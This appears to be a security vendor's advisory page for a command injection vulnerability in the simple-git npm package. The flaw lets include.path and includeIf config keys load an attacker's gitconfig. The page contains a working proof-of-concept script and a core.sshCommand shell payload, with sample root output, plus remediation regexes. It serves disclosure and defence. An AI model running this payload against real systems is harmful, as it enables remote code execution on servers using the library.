CVE-2026-102826

CVE-2026-102826 is a high-severity command injection vulnerability in simple-git (npm), affecting versions <= 3.36.0. It is fixed in 4.0.0.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

simple-git allows command execution through unblocked Git configuration includes

An OS command injection vulnerability in git.clone() allows any application that flows attacker-influenced data into customArgs to execute arbitrary code. simple-git 3.36.0 (current latest on npm) ships without any include.path entry in the blockUnsafeOperationsPlugin denylist. Passing -c include.path=<file> via customArgs loads any local file as a gitconfig. The loaded file can set core.sshCommand (or any otherwise-denied key), and the next remote operation in the same clone executes the attacker's command.

PR #1167 (merged to main 2026-05-10, not yet released to npm) adds preventConfigBuilder('include.path', 'allowUnsafeInclude') to the denylist. The generated regex /\s*include.path/ closes the plain spelling but does not match the conditional form includeIf.<cond>.path. The variant therefore survives the upcoming release if the regex is not tightened in the same cycle.

This sits in the same denylist class as the prior incomplete-fix chain (CVE-2022-24433, CVE-2022-24066, CVE-2022-25912, CVE-2022-25860, CVE-2026-28291, CVE-2026-28292). include and includeIf are not referenced in any published advisory, in any commit prior to PR #1167, or anywhere in the 3.36.0 source.

Details

Two sinks share the same root cause: the denylist is incomplete.

Sink A: published 3.36.0 has no include.path entry

packages/argv-parser/src/vulnerabilities/detect-vulnerable-config-writes.ts in the v3.36.0 tag contains no entry for include.path or includeIf.*.path. The argv parser recognises -c include.path=<file> and -c includeIf.<cond>.path=<file> as config writes, but detectVulnerableConfigWrites iterates a denylist that does not include either key. The plugin returns no vulnerability and the operation proceeds.

Sink B: pending PR #1167 regex misses includeIf

PR #1167 adds:

const preventUnsafeConfig = [
   // ...
   preventConfigBuilder('include.path', 'allowUnsafeInclude'),
   // ...
];

preventConfigBuilder constructs a non-anchored regex from the string:

function preventConfigBuilder(config, category, message) {
   const regex = typeof config === 'string'
      ? new RegExp(`\\s*${config.toLowerCase()}`)
      : config;
   return function preventCommand(key) {
      if (regex.test(key)) { /* throw */ }
   };
}

For 'include.path', the generated regex is /\s*include.path/. The . between include and path is a regex wildcard. The engine matches include plus exactly one arbitrary character plus path. Conditional include keys have the form includeIf.<condition>.path (includeIf.gitdir:.path, includeIf.onbranch:main.path, includeIf.hasconfig:r.u:**.path, etc.). The substring between include and path is if.<condition>:, always longer than one character. The 11-character match window cannot align and the test returns false.

/\s*include.path/.test('include.path')                    // true
/\s*include.path/.test('includeif.gitdir:.path')          // false
/\s*include.path/.test('includeif.onbranch:main.path')    // false

The argv parser at packages/argv-parser/src/argv/analyse-config.ts correctly recognises both include.path=... and includeIf.gitdir:.path=... as config writes; both yield a ConfigWrite with the lowercased key. The defect is purely in the denylist regex (after PR #1167) and in the entry being absent (before PR #1167).

Exploitation chain

  1. Attacker writes a gitconfig to any path the simple-git process can read. Realistic write primitives: file upload (avatar, attachment, CI artifact, S3-mounted bucket), shared /tmp in multi-tenant runners, log poisoning that lands [core] headers in a log path, predictable artifact paths, container volume mounts the attacker controls.

    [core]
    sshCommand = "/bin/sh -c 'id > /tmp/pwned; touch /tmp/RCE'"
    
  2. Attacker triggers git.clone() with crafted customArgs. Either the URL or the customArgs flow from attacker-influenced input. This is the documented threat model of blockUnsafeOperationsPlugin.

  3. cloneTask assembles ['clone', '-c', '<payload>', pathspec(url), pathspec(dst)].

  4. blockUnsafeOperationsPlugin runs parseArgv and collectWriteFlags, yielding the write. detectVulnerableConfigWrites iterates the denylist. In 3.36.0 the denylist has no entry. After PR #1167 the denylist has an entry but its regex does not match includeif.gitdir:.path. Either way, no vulnerability is yielded and the plugin permits the operation.

  5. suffixPathsPlugin moves pathspec items to the suffix. Final argv: git clone -c <payload> -- ssh://target.example/repo.git /tmp/dst.

  6. git clone has its own -c / --config option (-c <key>=<value>, --config <key>=<value> per git clone --help), so a -c immediately after the subcommand is honoured by clone itself. Git evaluates the include (the conditional form uses an empty gitdir: pattern that matches the current gitdir), reads /tmp/attacker.cfg, registers core.sshCommand.

  7. Git invokes ssh through the configured command. Attacker's shell payload runs in the simple-git process's context.

git clone is the unique git subcommand that honours -c after itself. git fetch -c k=v, git pull -c k=v, git push -c k=v all reject the placement (those subcommands treat -c as a global option that must precede them). Since simple-git always places the subcommand at argv[0], user-controlled -c in customArgs always lands after the subcommand. Clone is the entry point for both sinks.

Secondary chain: HOME and XDG_CONFIG_HOME not in parseEnv denylist

packages/argv-parser/src/env/parse-env.ts:5-25 lists env keys removed from the spawned-process environment when sourced from git.env(...). HOME, XDG_CONFIG_HOME, and similar config-resolution keys are absent. Calling git.env({HOME: '/tmp/fake-home'}) makes git read /tmp/fake-home/.gitconfig, which the attacker controls. Same exploit primitive, parallel surface. Should be addressed in the same fix.

PoC

Reproduction from a clean install:

mkdir /tmp/sg-poc && cd /tmp/sg-poc
npm init -y
npm install [email protected]
cat > poc.js <<'EOF'
const { simpleGit } = require('simple-git');
const fs = require('fs');

fs.writeFileSync('/tmp/sg-attacker.cfg',
   `[core]\nsshCommand = "/bin/sh -c 'id > /tmp/sg-id; touch /tmp/sg-pwned'"\n`);

const git = simpleGit({ baseDir: '/tmp' });

(async () => {
   // Sink A: plain include.path works on published 3.36.0 (no denylist entry).
   // Swap to 'includeIf.gitdir:.path=...' to demonstrate Sink B against PR #1167.
   const payload = 'include.path=/tmp/sg-attacker.cfg';

   try {
      await git.clone(
         'ssh://nonexistent.example.com/repo.git',
         '/tmp/sg-rce-dst',
         ['-c', payload]
      );
   } catch (_) { /* clone fails after sshCommand has already run */ }

   await new Promise(r => setTimeout(r, 500));
   console.log(fs.readFileSync('/tmp/sg-id', 'utf8'));
})();
EOF
node poc.js

Output on simple-git 3.36.0:

uid=0(root) gid=0(root) groups=0(root)

Swapping the payload to 'includeIf.gitdir:.path=/tmp/sg-attacker.cfg' reproduces the same RCE on 3.36.0 and is the variant that will survive the PR #1167 release.

Distinction from prior advisories and pending fix

Reviewed the published GHSA list at steveukx/git-js/security/advisories. Two advisories are published:

  • GHSA-jcxm-m3jx-f287 (CVE-2026-28291, High): generic option-parsing class addressed by the 3.32.0 refactor
  • GHSA-r275-fr43-pm7q (CVE-2026-28292, Critical): case-insensitive protocol.allow form

Neither mentions include, includeIf, or conditional includes. The terms do not appear anywhere in source files, tests, or commits in the repository at any tagged release. PR #1167 (merged to main 2026-05-10) is the first commit anywhere in the repository to reference include.path. It addresses the plain form but its regex misses the conditional includeIf.<cond>.path spelling.

The published 3.36.0 vulnerability (Sink A) is unaddressed in any released version. The pending PR #1167 (Sink B) addresses the plain key but leaves the conditional variant open. Both should land in one release.

Impact

Pre-authentication remote code execution in any server that flows attacker-influenced data into customArgs of clone() or mirror(). simple-git is approximately 9.4M weekly downloads on npm. Affected consumer patterns:

  • CI/CD systems and custom GitHub Actions / Buildkite plugins / GitLab cache helpers
  • PaaS and hosting platforms that accept customer-tunable git options
  • Code analyzers and security scanners that clone user-supplied repos
  • Bot frameworks (Probot, GitOps controllers) that wrap simple-git
  • AI agent frameworks that auto-clone repositories for analysis
  • VS Code extensions, Electron tools, and dev tooling that pass options through

The chain needs one byte of attacker-writable, process-readable storage in addition to customArgs influence. In consumers where the file-write primitive is co-located with the clone trigger (single-request file upload + clone, multi-tenant CI runners with shared /tmp, agent frameworks that write per-task scratch files), this is effectively unauthenticated pre-auth RCE with AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 Critical. The form value uses the conservative AC:H = 8.1 baseline that accounts for the separate-request case.

Untrusted input is inserted into a command that is later executed by the application, allowing the attacker to alter the intent of that command. Typical impact: arbitrary command execution in the application's environment.

CVE-2026-102826 has a CVSS score of 8.1 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.0.0); upgrading removes the vulnerable code path.

Affected versions

simple-git (<= 3.36.0)

Security releases

simple-git → 4.0.0 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

In packages/argv-parser/src/vulnerabilities/detect-vulnerable-config-writes.ts, add the plain include.path entry and ensure conditional forms are covered:

preventConfigBuilder('include.path', 'allowUnsafeInclude'),
preventConfigBuilder(/^\s*includeif[^.]*(\..+)*\.path/i, 'allowUnsafeInclude', 'include.path'),

Alternatively pre-process the key in parseAssignment to strip the if.<condition>: decoration before testing against include.path, since includeIf is semantically equivalent to include for security purposes.

Stronger, longer-term fix: invert the model. Reject any -c, --config, --config-env in customArgs unconditionally and require callers to use the typed config: option (already prefix-checked through the same plugin). Git's config namespace is open-ended; new dangerous keys land in every git release. A denylist will need new entries indefinitely.

Also extend parseEnv to drop HOME, XDG_CONFIG_HOME, and any env key that affects config-file resolution.

Frequently Asked Questions

  1. What is CVE-2026-102826? CVE-2026-102826 is a high-severity command injection vulnerability in simple-git (npm), affecting versions <= 3.36.0. It is fixed in 4.0.0. Untrusted input is inserted into a command that is later executed by the application, allowing the attacker to alter the intent of that command.
  2. How severe is CVE-2026-102826? CVE-2026-102826 has a CVSS score of 8.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of simple-git are affected by CVE-2026-102826? simple-git (npm) versions <= 3.36.0 is affected.
  4. Is there a fix for CVE-2026-102826? Yes. CVE-2026-102826 is fixed in 4.0.0. Upgrade to this version or later.
  5. Is CVE-2026-102826 exploitable, and should I be worried? Whether CVE-2026-102826 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-102826 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-102826? Upgrade simple-git to 4.0.0 or later.

Other vulnerabilities in simple-git

Stop the waste.
Protect your environment with Kodem.